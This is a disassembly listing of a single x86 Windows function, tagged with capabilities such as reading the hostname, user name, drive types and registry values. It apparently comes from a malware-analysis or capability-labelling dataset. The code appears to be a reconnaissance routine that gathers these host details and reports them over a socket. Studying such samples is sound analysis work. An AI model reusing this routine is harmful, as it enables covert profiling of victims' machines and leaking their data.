Function at 0x402448
Capabilities:
Get disk information
Get file size
Get hostname
Get session user name
Query or enumerate registry value

Disassembly:
enter 0xbc4, 1
push ebx
push esi
push edi
push 0x40a54c
push 0x403163
call fcn.004081d8
mov al, 0
mov dword [ebp - 0xbc8], eax
push 0x19
push 0x40a438
push dword [ebp + 0xc]
call fcn.004022af
test al, al
jne 0x40247e
jmp 0x403137
push 0xdc
call fcn.00401dc4
test al, al
jne 0x402491
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x20]
call fcn.004071ca
push 0x40bba5
push dword [ebp + 0xc]
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x4024be
jmp 0x403137
push 0xfa
call fcn.00401dc4
test al, al
jne 0x4024d1
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x4c]
call fcn.004071ca
push 0x40bba5
push 0x40a43e
call fcn.0040721d
push 0x40bba5
push 0x40a44c
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x40250f
jmp 0x403137
push 0xfa
call fcn.00401dc4
test al, al
jne 0x402522
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x54]
call fcn.004071ca
push 0x40bba5
push dword [ebp + 8]
call fcn.0040721d
push 0x40bba5
push 0x40a44e
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x40255e
jmp 0x403137
push 0xfa
call fcn.00401dc4
test al, al
jne 0x402571
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x60]
call fcn.004071ca
call fcn.00401e81
test al, al
jne 0x402591
jmp 0x403137
push 0x162
call fcn.00401dc4
test al, al
jne 0x4025a4
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x64]
call fcn.004071ca
push 0x40bba5
push dword [ebp + 8]
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x4025d1
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x68]
call fcn.004071ca
push 0x40bba5
push 0x40a450
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x402600
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x6c]
call fcn.004071ca
call fcn.00401e81
test al, al
jne 0x402620
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x70]
call fcn.004071ca
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax]
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x402651
jmp 0x403137
lea eax, [ebp - 0x2d]
push eax
call sub.kernel32.dll_GetLocalTime
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x160]
push eax
movzx eax, word [ebp - 0x29]
push dword [eax*4 + 0x40b103]
call fcn.00407c24
push 0x40a466
call fcn.00407c88
lea eax, [ebp - 0x164]
push eax
movzx eax, word [ebp - 0x27]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a471
call fcn.00407c88
movzx eax, word [ebp - 0x2b]
dec eax
push dword [eax*4 + 0x40b11f]
call fcn.00407c88
push 0x40a47b
call fcn.00407c88
lea eax, [ebp - 0x168]
push eax
movzx eax, word [ebp - 0x2d]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a485
call fcn.00407c88
lea eax, [ebp - 0x16c]
push eax
movzx eax, word [ebp - 0x25]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a48f
call fcn.00407c88
lea eax, [ebp - 0x170]
push eax
movzx eax, word [ebp - 0x23]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a499
call fcn.00407c88
lea eax, [ebp - 0x174]
push eax
movzx eax, word [ebp - 0x21]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a4a3
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
push 0x40bba5
push 0x40a4a6
call fcn.004071ca
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x74]
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x7c]
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x80]
call fcn.0040721d
push 0x40bba5
mov eax, dword [ebp - 0x19]
push eax
call fcn.0040721d
push 0x40bba5
push 0x40a4ab
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x84]
call fcn.0040721d
push 0x40bba5
push 0x40baa3
call fcn.0040721d
push 0x40bba5
push 0x40a4ae
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x88]
call fcn.0040721d
and dword [ebp - 0x49], 0
push 0
call fcn.004011ca
push eax
call sub.kernel32.dll__lopen
mov esi, eax
cmp esi, 0xffffffff
je 0x402821
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x49], eax
push esi
call sub.kernel32.dll__lclose
cmp dword [ebp - 0x49], 0x400
jge 0x40286e
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x17c]
push eax
push dword [ebp - 0x1d]
call fcn.00407c24
lea eax, [ebp - 0x178]
push eax
push dword [ebp - 0x49]
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a4bb
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x4028c2
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x188]
push eax
push dword [ebp - 0x1d]
call fcn.00407c24
lea eax, [ebp - 0x184]
push eax
mov eax, dword [ebp - 0x49]
mov dword [ebp - 0x180], eax
fild dword [ebp - 0x180]
fdiv dword [0x40a4c2]
call fcn.0040825c
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a4ce
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x390]
push eax
lea eax, [ebp - 0x388]
push eax
push 0x40a4d2
call fcn.00407960
lea eax, [ebp - 0x288]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x8c]
call fcn.00407286
call fcn.00407a08
call fcn.00407b38
lea eax, [ebp - 0x38c]
push eax
call fcn.00401476
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a4dd
call fcn.00407c88
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x490]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x90]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407c88
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x594]
push eax
call fcn.004011ca
push eax
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407c88
push 0x40a4e8
call fcn.00407c88
push dword [ebp - 0x1d]
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
push 0x40bba5
mov eax, dword [ebp - 0x19]
push eax
call fcn.0040721d
mov dword [ebp - 9], 0xfe
lea eax, [ebp - 0xd]
push eax
push 0x20019
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x94]
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402aed
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x118]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4029f0
push 0x47
call fcn.004023f2
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x11c]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402a1b
push 0x48
call fcn.004023f2
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x120]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402a46
push 0x49
call fcn.004023f2
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x124]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402a71
push 0x4a
call fcn.004023f2
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x128]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402a9c
push 0x4b
call fcn.004023f2
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0x12c]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402ac7
push 0x4c
call fcn.004023f2
push 0x40bba5
push 0x40a4eb
call fcn.0040721d
push 0x40bba5
push 0x40b89f
call fcn.0040721d
push dword [ebp - 0xd]
call sub.advapi32.dll_RegCloseKey
call fcn.00401e81
test al, al
jne 0x402afb
jmp 0x403137
mov dword [ebp - 9], 0x100
lea eax, [ebp - 9]
push eax
push 0x40cba7
call sub.kernel32.dll_GetComputerNameA
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xc8]
call fcn.004071ca
push 0x40bba5
push 0x40cba7
call fcn.0040721d
lea eax, [ebp - 9]
push eax
push 0x40cba7
call sub.advapi32.dll_GetUserNameA
push 0x40bba5
push 0x40a4fe
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xcc]
call fcn.0040721d
push 0x40bba5
push 0x40cba7
call fcn.0040721d
push 0x40bba5
push 0x40a501
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xd0]
call fcn.0040721d
push 0x40bba5
call fcn.00401090
push eax
call fcn.0040721d
push 0x40bba5
push 0x40a504
call fcn.0040721d
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x98]
call fcn.0040721d
mov esi, 3
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x59c]
push eax
mov eax, esi
add eax, 0x40
push eax
call fcn.00407b20
push 0x40a513
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
push 0x40cba7
mov eax, dword [ebp - 0x1d]
push eax
call fcn.004071ca
push 0x40cba7
call sub.kernel32.dll_GetDriveTypeA
mov dword [ebp - 0x49], eax
cmp dword [ebp - 0x49], 0
je 0x402e5a
cmp dword [ebp - 0x49], 1
je 0x402e5a
push 0x40cba7
push 0x40a516
call fcn.004071ca
push 0x40cba7
mov eax, dword [ebp - 0x1d]
push eax
call fcn.0040721d
mov eax, dword [ebp - 0x49]
sub eax, 3
jne 0x402c82
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x69c]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0xd8]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402d88
inc eax
jne 0x402cb9
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x7a4]
push eax
lea eax, [ebp - 0x7a0]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0xdc]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402d88
dec eax
dec eax
jne 0x402cf1
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x8a8]
push eax
lea eax, [ebp - 0x8a4]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x114]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402d88
dec eax
jne 0x402d25
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x9ac]
push eax
lea eax, [ebp - 0x9a8]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x130]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402d88
dec eax
jne 0x402d59
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xab0]
push eax
lea eax, [ebp - 0xaac]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x134]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402d88
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbb4]
push eax
lea eax, [ebp - 0xbb0]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0xe4]
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
mov eax, dword [ebp - 0x19]
test eax, eax
je 0x402d92
mov eax, dword [eax - 4]
cmp eax, 0xf
jge 0x402dcd
mov eax, dword [ebp - 0x19]
test eax, eax
je 0x402da1
mov eax, dword [eax - 4]
cmp eax, 0xf
jge 0x402dcd
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbb8]
push eax
push dword [ebp - 0x19]
call fcn.00407c24
push 0x40a522
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402d97
push 0x40cba7
push 0x40a524
call fcn.0040721d
push 0x40cba7
mov eax, dword [ebp - 0x19]
push eax
call fcn.0040721d
push 0x40bba5
push 0x40cba7
call fcn.0040721d
cmp dword [ebp - 0x49], 3
jne 0x402e1c
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbbc]
push eax
push dword [ebp - 0x1d]
call fcn.00401bf2
pop eax
push dword [eax]
call fcn.00407bec
jmp 0x402e27
lea eax, [ebp - 0x19]
push eax
push 0
call fcn.00407bec
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbc0]
push eax
push dword [ebp - 0x19]
call fcn.00407c24
push 0x40a531
call fcn.00407c88
pop eax
push dword [eax]
call fcn.00407bec
push 0x40bba5
mov eax, dword [ebp - 0x19]
push eax
call fcn.0040721d
inc esi
cmp esi, 0x18
jle 0x402bd2
call fcn.00401e81
test al, al
jne 0x402e72
jmp 0x403137
push 0x40bba5
push 0x40a534
call fcn.004071ca
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0x9c]
call fcn.0040721d
lea eax, [ebp - 0xd]
push eax
push 1
push 0
mov eax, dword [0x40b54c]
push dword [eax + 0xa0]
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402f90
mov esi, 1
mov dword [ebp - 9], 0xfe
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xbc4]
push eax
push esi
call fcn.00401000
pop eax
push dword [eax]
call fcn.00407bec
push 0x40b79d
mov eax, dword [0x40b54c]
push dword [eax + 0xa4]
call fcn.004071ca
push 0x40b79d
mov eax, dword [ebp - 0x19]
push eax
call fcn.0040721d
lea eax, [ebp - 9]
push eax
push 0x40cba7
push 0
push 0
push 0x40b79d
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402f6e
push 0x40bba5
push 0x40a537
call fcn.0040721d
push 0x40bba5
push 0x40b79d
call fcn.0040721d
push 0x40bba5
push 0x40a53b
call fcn.0040721d
push 0x40bba5
push 0x40cba7
call fcn.0040721d
push 0x40bba5
push 0x40a53f
call fcn.0040721d
jmp 0x402f70
jmp 0x402f7a
inc esi
cmp esi, 0x32
jle 0x402ec0
push dword [ebp - 0xd]
call sub.advapi32.dll_RegCloseKey
call fcn.00401e81
test al, al
jne 0x402f90
jmp 0x403137
cmp dword [0x40b554], 0
je 0x402fe9
push 0x40bba5
push 0x40a542
call fcn.004071ca
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xac]
call fcn.0040721d
push 0x40bba5
push 0x40ebab
call fcn.0040721d
push 0x40bba5
push 0x40a545
call fcn.0040721d
call fcn.00401e81
test al, al
jne 0x402fe9
jmp 0x403137
mov eax, dword [0x40b54c]
push dword [eax + 0x10]
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x40309c
and dword [0x40b775], 0
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xb0]
call fcn.004071ca
mov eax, dword [0x40b54c]
push dword [eax + 0x30]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40b55c], eax
cmp dword [0x40b55c], 0
je 0x403088
push 0
push 0x401704
push 0xff
push 0
push 0
call dword [0x40b55c]
test ax, ax
je 0x40306a
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xb4]
call fcn.0040721d
jmp 0x403088
cmp dword [0x40b775], 0
jne 0x403088
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xb8]
call fcn.0040721d
push esi
call sub.kernel32.dll_FreeLibrary
call fcn.00401e81
test al, al
jne 0x40309c
jmp 0x403137
push 0x40bba5
call fcn.004011ca
push eax
call fcn.004071ca
push 1
push 0x40bba5
call fcn.00401f3d
push 0x40bba5
push 0x40b89f
call fcn.004071ca
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xc]
call fcn.0040721d
push 0
push 0x40bba5
call fcn.00401f3d
push 0x40bba5
push 0x40a548
call fcn.004071ca
call fcn.00401e81
test al, al
jne 0x4030ff
jmp 0x403137
push 0xfa
call fcn.00401dc4
test al, al
jne 0x40310f
jmp 0x403137
push 0x40bba5
mov eax, dword [0x40b54c]
push dword [eax + 0xbc]
call fcn.004071ca
call fcn.00401e81
test al, al
jne 0x40312f
jmp 0x403137
mov al, 1
mov dword [ebp - 0xbc8], eax
cmp dword [0x40b799], 0
je 0x40314b
push dword [0x40b799]
call sub.wsock32.dll_closesocket
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x40316a
push 0x40a54c
call fcn.0040822c
ret